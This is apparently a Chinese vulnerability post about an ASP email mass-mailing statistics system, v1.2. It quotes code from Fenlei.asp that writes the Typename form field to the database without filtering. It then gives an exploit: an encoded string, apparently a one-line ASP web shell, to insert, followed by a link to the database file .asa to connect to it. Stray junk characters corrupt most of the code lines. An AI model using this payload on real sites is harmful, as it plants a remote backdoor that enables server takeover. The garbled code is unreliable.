铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

$ S5 L8 B/ r5 F1 lIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
& _: [  ?$ S6 w$ L8 a'略
5 w8 g- s& [6 \6 E, wIF Request.QueryString("Action")="Add" Then
! n+ F3 K/ O3 ~Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
! A, B7 _6 h8 i4 W+ USql="Select * From Fenlei Order by id Desc "
2 T# s# J" e2 S9 v( DRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
4 W2 W+ |) J$ [# F5 kSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
) Q- A1 t+ \4 d2 L' k! {* a% \'略
% R7 Y  v# P* P* W* j% Z6 o%>
  \8 b- q( @. Q3 ]  l0 P+ M

: P& N0 `8 }9 d
没有过滤，直接写入数据库。
* D7 R/ W, o+ C9 Z
+ Z: A3 F$ O. F利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
7 a# W1 `' u7 X2 f

连接： http://www.xxx.com/###tongbaner.asa
( e5 n  ^% \; A6 e8 @. {: h'默认安装文件：
'install.asp